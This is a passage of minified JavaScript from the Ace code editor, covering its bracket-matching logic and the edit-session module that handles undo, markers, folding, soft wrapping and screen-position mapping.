t=this.getLine(e.row),n=!0,r,s=t.charAt(e.column-1),o=s&&s.match(/([\\(\\[\\{])|([\\)\\]\\}])/);o||(s=t.charAt(e.column),e={row:e.row,column:e.column+1},o=s&&s.match(/([\\(\\[\\{])|([\\)\\]\\}])/),n=!1);if(!o)return null;if(o[1]){var u=this.$findClosingBracket(o[1],e);if(!u)return null;r=i.fromPoints(e,u),n||(r.end.column++,r.start.column--),r.cursor=r.end}else{var u=this.$findOpeningBracket(o[2],e);if(!u)return null;r=i.fromPoints(u,e),n||(r.start.column++,r.end.column--),r.cursor=r.start}return r},this.$brackets={\")\":\"(\",\"(\":\")\",\"]\":\"[\",\"[\":\"]\",\"{\":\"}\",\"}\":\"{\"},this.$findOpeningBracket=function(e,t,n){var i=this.$brackets[e],s=1,o=new r(this,t.row,t.column),u=o.getCurrentToken();u||(u=o.stepForward());if(!u)return;n||(n=new RegExp(\"(\\\\.?\"+u.type.replace(\".\",\"\\\\.\").replace(\"rparen\",\".paren\").replace(/\\b(?:end)\\b/,\"(?:start|begin|end)\")+\")+\"));var a=t.column-o.getCurrentTokenColumn()-2,f=u.value;for(;;){while(a>=0){var l=f.charAt(a);if(l==i){s-=1;if(s==0)return{row:o.getCurrentTokenRow(),column:a+o.getCurrentTokenColumn()}}else l==e&&(s+=1);a-=1}do u=o.stepBackward();while(u&&!n.test(u.type));if(u==null)break;f=u.value,a=f.length-1}return null},this.$findClosingBracket=function(e,t,n){var i=this.$brackets[e],s=1,o=new r(this,t.row,t.column),u=o.getCurrentToken();u||(u=o.stepForward());if(!u)return;n||(n=new RegExp(\"(\\\\.?\"+u.type.replace(\".\",\"\\\\.\").replace(\"lparen\",\".paren\").replace(/\\b(?:start|begin)\\b/,\"(?:start|begin|end)\")+\")+\"));var a=t.column-o.getCurrentTokenColumn();for(;;){var f=u.value,l=f.length;while(a<l){var c=f.charAt(a);if(c==i){s-=1;if(s==0)return{row:o.getCurrentTokenRow(),column:a+o.getCurrentTokenColumn()}}else c==e&&(s+=1);a+=1}do u=o.stepForward();while(u&&!n.test(u.type));if(u==null)break;a=0}return null}}var r=e(\"../token_iterator\").TokenIterator,i=e(\"../range\").Range;t.BracketMatch=s}),define(\"ace/edit_session\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/config\",\"ace/lib/event_emitter\",\"ace/selection\",\"ace/mode/text\",\"ace/range\",\"ace/document\",\"ace/background_tokenizer\",\"ace/search_highlight\",\"ace/edit_session/folding\",\"ace/edit_session/bracket_match\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/lang\"),s=e(\"./config\"),o=e(\"./lib/event_emitter\").EventEmitter,u=e(\"./selection\").Selection,a=e(\"./mode/text\").Mode,f=e(\"./range\").Range,l=e(\"./document\").Document,c=e(\"./background_tokenizer\").BackgroundTokenizer,h=e(\"./search_highlight\").SearchHighlight,p=function(e,t){this.$breakpoints=[],this.$decorations=[],this.$frontMarkers={},this.$backMarkers={},this.$markerId=1,this.$undoSelect=!0,this.$foldData=[],this.$foldData.toString=function(){return this.join(\"\\n\")},this.on(\"changeFold\",this.onChangeFold.bind(this)),this.$onChange=this.onChange.bind(this);if(typeof e!=\"object\"||!e.getLine)e=new l(e);this.setDocument(e),this.selection=new u(this),s.resetOptions(this),this.setMode(t),s._signal(\"session\",this)};(function(){function m(e){return e<4352?!1:e>=4352&&e<=4447||e>=4515&&e<=4519||e>=4602&&e<=4607||e>=9001&&e<=9002||e>=11904&&e<=11929||e>=11931&&e<=12019||e>=12032&&e<=12245||e>=12272&&e<=12283||e>=12288&&e<=12350||e>=12353&&e<=12438||e>=12441&&e<=12543||e>=12549&&e<=12589||e>=12593&&e<=12686||e>=12688&&e<=12730||e>=12736&&e<=12771||e>=12784&&e<=12830||e>=12832&&e<=12871||e>=12880&&e<=13054||e>=13056&&e<=19903||e>=19968&&e<=42124||e>=42128&&e<=42182||e>=43360&&e<=43388||e>=44032&&e<=55203||e>=55216&&e<=55238||e>=55243&&e<=55291||e>=63744&&e<=64255||e>=65040&&e<=65049||e>=65072&&e<=65106||e>=65108&&e<=65126||e>=65128&&e<=65131||e>=65281&&e<=65376||e>=65504&&e<=65510}r.implement(this,o),this.setDocument=function(e){this.doc&&this.doc.removeListener(\"change\",this.$onChange),this.doc=e,e.on(\"change\",this.$onChange),this.bgTokenizer&&this.bgTokenizer.setDocument(this.getDocument()),this.resetCaches()},this.getDocument=function(){return this.doc},this.$resetRowCache=function(e){if(!e){this.$docRowCache=[],this.$screenRowCache=[];return}var t=this.$docRowCache.length,n=this.$getRowCacheIndex(this.$docRowCache,e)+1;t>n&&(this.$docRowCache.splice(n,t),this.$screenRowCache.splice(n,t))},this.$getRowCacheIndex=function(e,t){var n=0,r=e.length-1;while(n<=r){var i=n+r>>1,s=e[i];if(t>s)n=i+1;else{if(!(t<s))return i;r=i-1}}return n-1},this.resetCaches=function(){this.$modified=!0,this.$wrapData=[],this.$rowLengthCache=[],this.$resetRowCache(0),this.bgTokenizer&&this.bgTokenizer.start(0)},this.onChangeFold=function(e){var t=e.data;this.$resetRowCache(t.start.row)},this.onChange=function(e){this.$modified=!0,this.$resetRowCache(e.start.row);var t=this.$updateInternalDataOnChange(e);!this.$fromUndo&&this.$undoManager&&!e.ignore&&(this.$deltasDoc.push(e),t&&t.length!=0&&this.$deltasFold.push({action:\"removeFolds\",folds:t}),this.$informUndoManager.schedule()),this.bgTokenizer&&this.bgTokenizer.$updateOnChange(e),this._signal(\"change\",e)},this.setValue=function(e){this.doc.setValue(e),this.selection.moveTo(0,0),this.$resetRowCache(0),this.$deltas=[],this.$deltasDoc=[],this.$deltasFold=[],this.setUndoManager(this.$undoManager),this.getUndoManager().reset()},this.getValue=this.toString=function(){return this.doc.getValue()},this.getSelection=function(){return this.selection},this.getState=function(e){return this.bgTokenizer.getState(e)},this.getTokens=function(e){return this.bgTokenizer.getTokens(e)},this.getTokenAt=function(e,t){var n=this.bgTokenizer.getTokens(e),r,i=0;if(t==null)s=n.length-1,i=this.getLine(e).length;else for(var s=0;s<n.length;s++){i+=n[s].value.length;if(i>=t)break}return r=n[s],r?(r.index=s,r.start=i-r.value.length,r):null},this.setUndoManager=function(e){this.$undoManager=e,this.$deltas=[],this.$deltasDoc=[],this.$deltasFold=[],this.$informUndoManager&&this.$informUndoManager.cancel();if(e){var t=this;this.$syncInformUndoManager=function(){t.$informUndoManager.cancel(),t.$deltasFold.length&&(t.$deltas.push({group:\"fold\",deltas:t.$deltasFold}),t.$deltasFold=[]),t.$deltasDoc.length&&(t.$deltas.push({group:\"doc\",deltas:t.$deltasDoc}),t.$deltasDoc=[]),t.$deltas.length>0&&e.execute({action:\"aceupdate\",args:[t.$deltas,t],merge:t.mergeUndoDeltas}),t.mergeUndoDeltas=!1,t.$deltas=[]},this.$informUndoManager=i.delayedCall(this.$syncInformUndoManager)}},this.markUndoGroup=function(){this.$syncInformUndoManager&&this.$syncInformUndoManager()},this.$defaultUndoManager={undo:function(){},redo:function(){},reset:function(){}},this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager},this.getTabString=function(){return this.getUseSoftTabs()?i.stringRepeat(\" \",this.getTabSize()):\"\t\"},this.setUseSoftTabs=function(e){this.setOption(\"useSoftTabs\",e)},this.getUseSoftTabs=function(){return this.$useSoftTabs&&!this.$mode.$indentWithTabs},this.setTabSize=function(e){this.setOption(\"tabSize\",e)},this.getTabSize=function(){return this.$tabSize},this.isTabStop=function(e){return this.$useSoftTabs&&e.column%this.$tabSize===0},this.$overwrite=!1,this.setOverwrite=function(e){this.setOption(\"overwrite\",e)},this.getOverwrite=function(){return this.$overwrite},this.toggleOverwrite=function(){this.setOverwrite(!this.$overwrite)},this.addGutterDecoration=function(e,t){this.$decorations[e]||(this.$decorations[e]=\"\"),this.$decorations[e]+=\" \"+t,this._signal(\"changeBreakpoint\",{})},this.removeGutterDecoration=function(e,t){this.$decorations[e]=(this.$decorations[e]||\"\").replace(\" \"+t,\"\"),this._signal(\"changeBreakpoint\",{})},this.getBreakpoints=function(){return this.$breakpoints},this.setBreakpoints=function(e){this.$breakpoints=[];for(var t=0;t<e.length;t++)this.$breakpoints[e[t]]=\"ace_breakpoint\";this._signal(\"changeBreakpoint\",{})},this.clearBreakpoints=function(){this.$breakpoints=[],this._signal(\"changeBreakpoint\",{})},this.setBreakpoint=function(e,t){t===undefined&&(t=\"ace_breakpoint\"),t?this.$breakpoints[e]=t:delete this.$breakpoints[e],this._signal(\"changeBreakpoint\",{})},this.clearBreakpoint=function(e){delete this.$breakpoints[e],this._signal(\"changeBreakpoint\",{})},this.addMarker=function(e,t,n,r){var i=this.$markerId++,s={range:e,type:n||\"line\",renderer:typeof n==\"function\"?n:null,clazz:t,inFront:!!r,id:i};return r?(this.$frontMarkers[i]=s,this._signal(\"changeFrontMarker\")):(this.$backMarkers[i]=s,this._signal(\"changeBackMarker\")),i},this.addDynamicMarker=function(e,t){if(!e.update)return;var n=this.$markerId++;return e.id=n,e.inFront=!!t,t?(this.$frontMarkers[n]=e,this._signal(\"changeFrontMarker\")):(this.$backMarkers[n]=e,this._signal(\"changeBackMarker\")),e},this.removeMarker=function(e){var t=this.$frontMarkers[e]||this.$backMarkers[e];if(!t)return;var n=t.inFront?this.$frontMarkers:this.$backMarkers;t&&(delete n[e],this._signal(t.inFront?\"changeFrontMarker\":\"changeBackMarker\"))},this.getMarkers=function(e){return e?this.$frontMarkers:this.$backMarkers},this.highlight=function(e){if(!this.$searchHighlight){var t=new h(null,\"ace_selected-word\",\"text\");this.$searchHighlight=this.addDynamicMarker(t)}this.$searchHighlight.setRegexp(e)},this.highlightLines=function(e,t,n,r){typeof t!=\"number\"&&(n=t,t=e),n||(n=\"ace_step\");var i=new f(e,0,t,Infinity);return i.id=this.addMarker(i,n,\"fullLine\",r),i},this.setAnnotations=function(e){this.$annotations=e,this._signal(\"changeAnnotation\",{})},this.getAnnotations=function(){return this.$annotations||[]},this.clearAnnotations=function(){this.setAnnotations([])},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r?\\n)/m);t?this.$autoNewLine=t[1]:this.$autoNewLine=\"\\n\"},this.getWordRange=function(e,t){var n=this.getLine(e),r=!1;t>0&&(r=!!n.charAt(t-1).match(this.tokenRe)),r||(r=!!n.charAt(t).match(this.tokenRe));if(r)var i=this.tokenRe;else if(/^\\s+$/.test(n.slice(t-1,t+1)))var i=/\\s/;else var i=this.nonTokenRe;var s=t;if(s>0){do s--;while(s>=0&&n.charAt(s).match(i));s++}var o=t;while(o<n.length&&n.charAt(o).match(i))o++;return new f(e,s,e,o)},this.getAWordRange=function(e,t){var n=this.getWordRange(e,t),r=this.getLine(n.end.row);while(r.charAt(n.end.column).match(/[ \\t]/))n.end.column+=1;return n},this.setNewLineMode=function(e){this.doc.setNewLineMode(e)},this.getNewLineMode=function(){return this.doc.getNewLineMode()},this.setUseWorker=function(e){this.setOption(\"useWorker\",e)},this.getUseWorker=function(){return this.$useWorker},this.onReloadTokenizer=function(e){var t=e.data;this.bgTokenizer.start(t.first),this._signal(\"tokenizerUpdate\",e)},this.$modes={},this.$mode=null,this.$modeId=null,this.setMode=function(e,t){if(e&&typeof e==\"object\"){if(e.getTokenizer)return this.$onChangeMode(e);var n=e,r=n.path}else r=e||\"ace/mode/text\";this.$modes[\"ace/mode/text\"]||(this.$modes[\"ace/mode/text\"]=new a);if(this.$modes[r]&&!n){this.$onChangeMode(this.$modes[r]),t&&t();return}this.$modeId=r,s.loadModule([\"mode\",r],function(e){if(this.$modeId!==r)return t&&t();this.$modes[r]&&!n?this.$onChangeMode(this.$modes[r]):e&&e.Mode&&(e=new e.Mode(n),n||(this.$modes[r]=e,e.$id=r),this.$onChangeMode(e)),t&&t()}.bind(this)),this.$mode||this.$onChangeMode(this.$modes[\"ace/mode/text\"],!0)},this.$onChangeMode=function(e,t){t||(this.$modeId=e.$id);if(this.$mode===e)return;this.$mode=e,this.$stopWorker(),this.$useWorker&&this.$startWorker();var n=e.getTokenizer();if(n.addEventListener!==undefined){var r=this.onReloadTokenizer.bind(this);n.addEventListener(\"update\",r)}if(!this.bgTokenizer){this.bgTokenizer=new c(n);var i=this;this.bgTokenizer.addEventListener(\"update\",function(e){i._signal(\"tokenizerUpdate\",e)})}else this.bgTokenizer.setTokenizer(n);this.bgTokenizer.setDocument(this.getDocument()),this.tokenRe=e.tokenRe,this.nonTokenRe=e.nonTokenRe,t||(e.attachToSession&&e.attachToSession(this),this.$options.wrapMethod.set.call(this,this.$wrapMethod),this.$setFolding(e.foldingRules),this.bgTokenizer.start(0),this._emit(\"changeMode\"))},this.$stopWorker=function(){this.$worker&&(this.$worker.terminate(),this.$worker=null)},this.$startWorker=function(){try{this.$worker=this.$mode.createWorker(this)}catch(e){s.warn(\"Could not load worker\",e),this.$worker=null}},this.getMode=function(){return this.$mode},this.$scrollTop=0,this.setScrollTop=function(e){if(this.$scrollTop===e||isNaN(e))return;this.$scrollTop=e,this._signal(\"changeScrollTop\",e)},this.getScrollTop=function(){return this.$scrollTop},this.$scrollLeft=0,this.setScrollLeft=function(e){if(this.$scrollLeft===e||isNaN(e))return;this.$scrollLeft=e,this._signal(\"changeScrollLeft\",e)},this.getScrollLeft=function(){return this.$scrollLeft},this.getScreenWidth=function(){return this.$computeWidth(),this.lineWidgets?Math.max(this.getLineWidgetMaxWidth(),this.screenWidth):this.screenWidth},this.getLineWidgetMaxWidth=function(){if(this.lineWidgetsWidth!=null)return this.lineWidgetsWidth;var e=0;return this.lineWidgets.forEach(function(t){t&&t.screenWidth>e&&(e=t.screenWidth)}),this.lineWidgetWidth=e},this.$computeWidth=function(e){if(this.$modified||e){this.$modified=!1;if(this.$useWrapMode)return this.screenWidth=this.$wrapLimit;var t=this.doc.getAllLines(),n=this.$rowLengthCache,r=0,i=0,s=this.$foldData[i],o=s?s.start.row:Infinity,u=t.length;for(var a=0;a<u;a++){if(a>o){a=s.end.row+1;if(a>=u)break;s=this.$foldData[i++],o=s?s.start.row:Infinity}n[a]==null&&(n[a]=this.$getStringScreenWidth(t[a])[0]),n[a]>r&&(r=n[a])}this.screenWidth=r}},this.getLine=function(e){return this.doc.getLine(e)},this.getLines=function(e,t){return this.doc.getLines(e,t)},this.getLength=function(){return this.doc.getLength()},this.getTextRange=function(e){return this.doc.getTextRange(e||this.selection.getRange())},this.insert=function(e,t){return this.doc.insert(e,t)},this.remove=function(e){return this.doc.remove(e)},this.removeFullLines=function(e,t){return this.doc.removeFullLines(e,t)},this.undoChanges=function(e,t){if(!e.length)return;this.$fromUndo=!0;var n=null;for(var r=e.length-1;r!=-1;r--){var i=e[r];i.group==\"doc\"?(this.doc.revertDeltas(i.deltas),n=this.$getUndoSelection(i.deltas,!0,n)):i.deltas.forEach(function(e){this.addFolds(e.folds)},this)}return this.$fromUndo=!1,n&&this.$undoSelect&&!t&&this.selection.setSelectionRange(n),n},this.redoChanges=function(e,t){if(!e.length)return;this.$fromUndo=!0;var n=null;for(var r=0;r<e.length;r++){var i=e[r];i.group==\"doc\"&&(this.doc.applyDeltas(i.deltas),n=this.$getUndoSelection(i.deltas,!1,n))}return this.$fromUndo=!1,n&&this.$undoSelect&&!t&&this.selection.setSelectionRange(n),n},this.setUndoSelect=function(e){this.$undoSelect=e},this.$getUndoSelection=function(e,t,n){function r(e){return t?e.action!==\"insert\":e.action===\"insert\"}var i=e[0],s,o,u=!1;r(i)?(s=f.fromPoints(i.start,i.end),u=!0):(s=f.fromPoints(i.start,i.start),u=!1);for(var a=1;a<e.length;a++)i=e[a],r(i)?(o=i.start,s.compare(o.row,o.column)==-1&&s.setStart(o),o=i.end,s.compare(o.row,o.column)==1&&s.setEnd(o),u=!0):(o=i.start,s.compare(o.row,o.column)==-1&&(s=f.fromPoints(i.start,i.start)),u=!1);if(n!=null){f.comparePoints(n.start,s.start)===0&&(n.start.column+=s.end.column-s.start.column,n.end.column+=s.end.column-s.start.column);var l=n.compareRange(s);l==1?s.setStart(n.start):l==-1&&s.setEnd(n.end)}return s},this.replace=function(e,t){return this.doc.replace(e,t)},this.moveText=function(e,t,n){var r=this.getTextRange(e),i=this.getFoldsInRange(e),s=f.fromPoints(t,t);if(!n){this.remove(e);var o=e.start.row-e.end.row,u=o?-e.end.column:e.start.column-e.end.column;u&&(s.start.row==e.end.row&&s.start.column>e.end.column&&(s.start.column+=u),s.end.row==e.end.row&&s.end.column>e.end.column&&(s.end.column+=u)),o&&s.start.row>=e.end.row&&(s.start.row+=o,s.end.row+=o)}s.end=this.insert(s.start,r);if(i.length){var a=e.start,l=s.start,o=l.row-a.row,u=l.column-a.column;this.addFolds(i.map(function(e){return e=e.clone(),e.start.row==a.row&&(e.start.column+=u),e.end.row==a.row&&(e.end.column+=u),e.start.row+=o,e.end.row+=o,e}))}return s},this.indentRows=function(e,t,n){n=n.replace(/\\t/g,this.getTabString());for(var r=e;r<=t;r++)this.doc.insertInLine({row:r,column:0},n)},this.outdentRows=function(e){var t=e.collapseRows(),n=new f(0,0,0,0),r=this.getTabSize();for(var i=t.start.row;i<=t.end.row;++i){var s=this.getLine(i);n.start.row=i,n.end.row=i;for(var o=0;o<r;++o)if(s.charAt(o)!=\" \")break;o<r&&s.charAt(o)==\"\t\"?(n.start.column=o,n.end.column=o+1):(n.start.column=0,n.end.column=o),this.remove(n)}},this.$moveLines=function(e,t,n){e=this.getRowFoldStart(e),t=this.getRowFoldEnd(t);if(n<0){var r=this.getRowFoldStart(e+n);if(r<0)return 0;var i=r-e}else if(n>0){var r=this.getRowFoldEnd(t+n);if(r>this.doc.getLength()-1)return 0;var i=r-t}else{e=this.$clipRowToDocument(e),t=this.$clipRowToDocument(t);var i=t-e+1}var s=new f(e,0,t,Number.MAX_VALUE),o=this.getFoldsInRange(s).map(function(e){return e=e.clone(),e.start.row+=i,e.end.row+=i,e}),u=n==0?this.doc.getLines(e,t):this.doc.removeFullLines(e,t);return this.doc.insertFullLines(e+i,u),o.length&&this.addFolds(o),i},this.moveLinesUp=function(e,t){return this.$moveLines(e,t,-1)},this.moveLinesDown=function(e,t){return this.$moveLines(e,t,1)},this.duplicateLines=function(e,t){return this.$moveLines(e,t,0)},this.$clipRowToDocument=function(e){return Math.max(0,Math.min(e,this.doc.getLength()-1))},this.$clipColumnToRow=function(e,t){return t<0?0:Math.min(this.doc.getLine(e).length,t)},this.$clipPositionToDocument=function(e,t){t=Math.max(0,t);if(e<0)e=0,t=0;else{var n=this.doc.getLength();e>=n?(e=n-1,t=this.doc.getLine(n-1).length):t=Math.min(this.doc.getLine(e).length,t)}return{row:e,column:t}},this.$clipRangeToDocument=function(e){e.start.row<0?(e.start.row=0,e.start.column=0):e.start.column=this.$clipColumnToRow(e.start.row,e.start.column);var t=this.doc.getLength()-1;return e.end.row>t?(e.end.row=t,e.end.column=this.doc.getLine(t).length):e.end.column=this.$clipColumnToRow(e.end.row,e.end.column),e},this.$wrapLimit=80,this.$useWrapMode=!1,this.$wrapLimitRange={min:null,max:null},this.setUseWrapMode=function(e){if(e!=this.$useWrapMode){this.$useWrapMode=e,this.$modified=!0,this.$resetRowCache(0);if(e){var t=this.getLength();this.$wrapData=Array(t),this.$updateWrapData(0,t-1)}this._signal(\"changeWrapMode\")}},this.getUseWrapMode=function(){return this.$useWrapMode},this.setWrapLimitRange=function(e,t){if(this.$wrapLimitRange.min!==e||this.$wrapLimitRange.max!==t)this.$wrapLimitRange={min:e,max:t},this.$modified=!0,this.$useWrapMode&&this._signal(\"changeWrapMode\")},this.adjustWrapLimit=function(e,t){var n=this.$wrapLimitRange;n.max<0&&(n={min:t,max:t});var r=this.$constrainWrapLimit(e,n.min,n.max);return r!=this.$wrapLimit&&r>1?(this.$wrapLimit=r,this.$modified=!0,this.$useWrapMode&&(this.$updateWrapData(0,this.getLength()-1),this.$resetRowCache(0),this._signal(\"changeWrapLimit\")),!0):!1},this.$constrainWrapLimit=function(e,t,n){return t&&(e=Math.max(t,e)),n&&(e=Math.min(n,e)),e},this.getWrapLimit=function(){return this.$wrapLimit},this.setWrapLimit=function(e){this.setWrapLimitRange(e,e)},this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}},this.$updateInternalDataOnChange=function(e){var t=this.$useWrapMode,n=e.action,r=e.start,i=e.end,s=r.row,o=i.row,u=o-s,a=null;this.$updating=!0;if(u!=0)if(n===\"remove\"){this[t?\"$wrapData\":\"$rowLengthCache\"].splice(s,u);var f=this.$foldData;a=this.getFoldsInRange(e),this.removeFolds(a);var l=this.getFoldLine(i.row),c=0;if(l){l.addRemoveChars(i.row,i.column,r.column-i.column),l.shiftRow(-u);var h=this.getFoldLine(s);h&&h!==l&&(h.merge(l),l=h),c=f.indexOf(l)+1}for(c;c<f.length;c++){var l=f[c];l.start.row>=i.row&&l.shiftRow(-u)}o=s}else{var p=Array(u);p.unshift(s,0);var d=t?this.$wrapData:this.$rowLengthCache;d.splice.apply(d,p);var f=this.$foldData,l=this.getFoldLine(s),c=0;if(l){var v=l.range.compareInside(r.row,r.column);v==0?(l=l.split(r.row,r.column),l&&(l.shiftRow(u),l.addRemoveChars(o,0,i.column-r.column))):v==-1&&(l.addRemoveChars(s,0,i.column-r.column),l.shiftRow(u)),c=f.indexOf(l)+1}for(c;c<f.length;c++){var l=f[c];l.start.row>=s&&l.shiftRow(u)}}else{u=Math.abs(e.start.column-e.end.column),n===\"remove\"&&(a=this.getFoldsInRange(e),this.removeFolds(a),u=-u);var l=this.getFoldLine(s);l&&l.addRemoveChars(s,r.column,u)}return t&&this.$wrapData.length!=this.doc.getLength()&&console.error(\"doc.getLength() and $wrapData.length have to be the same!\"),this.$updating=!1,t?this.$updateWrapData(s,o):this.$updateRowLengthCache(s,o),a},this.$updateRowLengthCache=function(e,t,n){this.$rowLengthCache[e]=null,this.$rowLengthCache[t]=null},this.$updateWrapData=function(e,t){var r=this.doc.getAllLines(),i=this.getTabSize(),s=this.$wrapData,o=this.$wrapLimit,a,f,l=e;t=Math.min(t,r.length-1);while(l<=t)f=this.getFoldLine(l,f),f?(a=[],f.walk(function(e,t,i,s){var o;if(e!=null){o=this.$getDisplayTokens(e,a.length),o[0]=n;for(var f=1;f<o.length;f++)o[f]=u}else o=this.$getDisplayTokens(r[t].substring(s,i),a.length);a=a.concat(o)}.bind(this),f.end.row,r[f.end.row].length+1),s[f.start.row]=this.$computeWrapSplits(a,o,i),l=f.end.row+1):(a=this.$getDisplayTokens(r[l]),s[l]=this.$computeWrapSplits(a,o,i),l++)};var e=1,t=2,n=3,u=4,l=9,p=10,d=11,v=12;this.$computeWrapSplits=function(e,r,i){function g(){var t=0;if(m===0)return t;if(h)for(var n=0;n<e.length;n++){var r=e[n];if(r==p)t+=1;else{if(r!=d){if(r==v)continue;break}t+=i}}return c&&h!==!1&&(t+=i),Math.min(t,m)}function y(t){var n=e.slice(a,t),r=n.length;n.join(\"\").replace(/12/g,function(){r-=1}).replace(/2/g,function(){r-=1}),s.length||(b=g(),s.indent=b),f+=r,s.push(f),a=t}if(e.length==0)return[];var s=[],o=e.length,a=0,f=0,c=this.$wrapAsCode,h=this.$indentedSoftWrap,m=r<=Math.max(2*i,8)||h===!1?0:Math.floor(r/2),b=0;while(o-a>r-b){var w=a+r-b;if(e[w-1]>=p&&e[w]>=p){y(w);continue}if(e[w]==n||e[w]==u){for(w;w!=a-1;w--)if(e[w]==n)break;if(w>a){y(w);continue}w=a+r;for(w;w<e.length;w++)if(e[w]!=u)break;if(w==e.length)break;y(w);continue}var E=Math.max(w-(r-(r>>2)),a-1);while(w>E&&e[w]<n)w--;if(c){while(w>E&&e[w]<n)w--;while(w>E&&e[w]==l)w--}else while(w>E&&e[w]<p)w--;if(w>E){y(++w);continue}w=a+r,e[w]==t&&w--,y(w-b)}return s},this.$getDisplayTokens=function(n,r){var i=[],s;r=r||0;for(var o=0;o<n.length;o++){var u=n.charCodeAt(o);if(u==9){s=this.getScreenTabSize(i.length+r),i.push(d);for(var a=1;a<s;a++)i.push(v)}else u==32?i.push(p):u>39&&u<48||u>57&&u<64?i.push(l):u>=4352&&m(u)?i.push(e,t):i.push(e)}return i},this.$getStringScreenWidth=function(e,t,n){if(t==0)return[0,0];t==null&&(t=Infinity),n=n||0;var r,i;for(i=0;i<e.length;i++){r=e.charCodeAt(i),r==9?n+=this.getScreenTabSize(n):r>=4352&&m(r)?n+=2:n+=1;if(n>t)break}return[n,i]},this.lineWidgets=null,this.getRowLength=function(e){if(this.lineWidgets)var t=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0;else t=0;return!this.$useWrapMode||!this.$wrapData[e]?1+t:this.$wrapData[e].length+1+t},this.getRowLineCount=function(e){return!this.$useWrapMode||!this.$wrapData[e]?1:this.$wrapData[e].length+1},this.getRowWrapIndent=function(e){if(this.$useWrapMode){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE),n=this.$wrapData[t.row];return n.length&&n[0]<t.column?n.indent:0}return 0},this.getScreenLastRowColumn=function(e){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE);return this.documentToScreenColumn(t.row,t.column)},this.getDocumentLastRowColumn=function(e,t){var n=this.documentToScreenRow(e,t);return this.getScreenLastRowColumn(n)},this.getDocumentLastRowColumnPosition=function(e,t){var n=this.documentToScreenRow(e,t);return this.screenToDocumentPosition(n,Number.MAX_VALUE/10)},this.getRowSplitData=function(e){return this.$useWrapMode?this.$wrapData[e]:undefined},this.getScreenTabSize=function(e){return this.$tabSize-e%this.$tabSize},this.screenToDocumentRow=function(e,t){return this.screenToDocumentPosition(e,t).row},this.screenToDocumentColumn=function(e,t){return this.screenToDocumentPosition(e,t).column},this.screenToDocumentPosition=function(e,t){if(e<0)return{row:0,column:0};var n,r=0,i=0,s,o=0,u=0,a=this.$screenRowCache,f=this.$getRowCacheIndex(a,e),l=a.length;if(l&&f>=0)var o=a[f],r=this.$docRowCache[f],c=e>a[l-1];else var c=!l;var h=this.getLength()-1,p=this.getNextFoldLine(r),d=p?p.start.row:Infinity;while(o<=e){u=this.getRowLength(r);if(o+u>e||r>=h)break;o+=u,r++,r>d&&(r=p.end.row+1,p=this.getNextFoldLine(r,p),d=p?p.start.row:Infinity),c&&(this.$docRowCache.push(r),this.$screenRowCache.push(o))}if(p&&p.start.row<=r)n=this.getFoldDisplayLine(p),r=p.start.row;else{if(o+u<=e||r>h)return{row:h,column:this.getLine(h).length};n=this.getLine(r),p=null}var v=0;if(this.$useWrapMode){var m=this.$wrapData[r];if(m){var g=Math.floor(e-o);s=m[g],g>0&&m.length&&(v=m.indent,i=m[g-1]||m[m.length-1],n=n.substring(i))}}return i+=this.$getStringScreenWidth(n,t-v)[1],this.$useWrapMode&&i>=s&&(i=s-1),p?p.idxToPosition(i):{row:r,column:i}},this.documentToScreenPosition=function(e,t){if(typeof t==\"undefined\")var n=this.$clipPositionToDocument(e.row,e.column);else n=this.$clipPositionToDocument(e,t);e=n.row,t=n.column;var r=0,i=null,s=null;s=this.getFoldAt(e,t,1),s&&(e=s.start.row,t=s.start.column);var o,u=0,a=this.$docRowCache,f=this.$getRowCacheIndex(a,e),l=a.length;if(l&&f>=0)var u=a[f],r=this.$screenRowCache[f],c=e>a[l-1];else var c=!l;var h=this.getNextFoldLine(u),p=h?h.start.row:Infinity;while(u<e){if(u>=p){o=h.end.row+1;if(o>e)break;h=this.getNextFoldLine(o,h),p=h?h.start.row:Infinity}else o=u+1;r+=this.getRowLength(u),u=o,c&&(this.$docRowCache.push(u),this.$screenRowCache.push(r))}var d=\"\";h&&u>=p?(d=this.getFoldDisplayLine(h,e,t),i=h.start.row):(d=this.getLine(e).substring(0,t),i=e);var v=0;if(this.$useWrapMode){var m=this.$wrapData[i];if(m){var g=0;while(d.length>=m[g])r++,g++;d=d.substring(m[g-1]||0,d.length),v=g>0?m.indent:0}}return{row:r,column:v+this.$getStringScreenWidth(d)[0]}},this.documentToScreenColumn=function(e,t){return this.documentToScreenPosition(e,t).column},this.documentToScreenRow=function(e,t){return this.documentToScreenPosition(e,t).row},this.getScreenLength=function(){var e=0,t=null;if(!this.$useWrapMode){e=this.getLength();var n=this.$foldData;for(var r=0;r<n.length;r++)t=n[r],e-=t.end.row-t.start.row}else{var i=this.$wrapData.length,s=0,r=0,t=this.$foldData[r++],o=t?t.start.row:Infinity;while(s<i){var u=this.$wrapData[s];e+=u?u.length+1:1,s++,s>o&&(s=t.end.row+1,t=this.$foldData[r++],o=t?t.start.row:Infinity)}}return this.lineWidgets&&(e+=this.$getWidgetScreenLength()),e},this.$setFontMetrics=function(e){if(!this.$enableVarChar)return;this.$getStringScreenWidth=function(t,n,r){if(n===0)return[0,0];n||(n=Infinity),r=r||0;var i,s;for(s=0;s<t.length;s++){i=t.charAt(s),i===\"\t\"?r+=this.getScreenTabSize(r):r+=e.getCharacterWidth(i);if(r>n)break}return[r,s]}},this.destroy=function(){this.bgTokenizer&&(this.bgTokenizer.setDocument(null),this.bgTokenizer=null),this.$stopWorker()}}).call(p.prototype),e(\"./edit_session/folding\").Folding.call(p.prototype),e(\"./edit_session/bracket_match\").BracketMatch.call(p.prototype),s.defineOptions(p.prototype,\"session\",{wrap:{set:function(e){!e||e==\"off\"?e=!1:e==\"free\"?e=!0:e==\"printMargin\"?e=-1:typeof e==\"string\"&&(e=parseInt(e,10)||!1);if(this.$wrap==e)return;this.$wrap=e;if(!e)this.setUseWrapMode(!1);else{var t=typeof e==\"number\"?e:null;this.setWrapLimitRange(t,t),this.setUseWrapMode(!0)}},get:function(){return 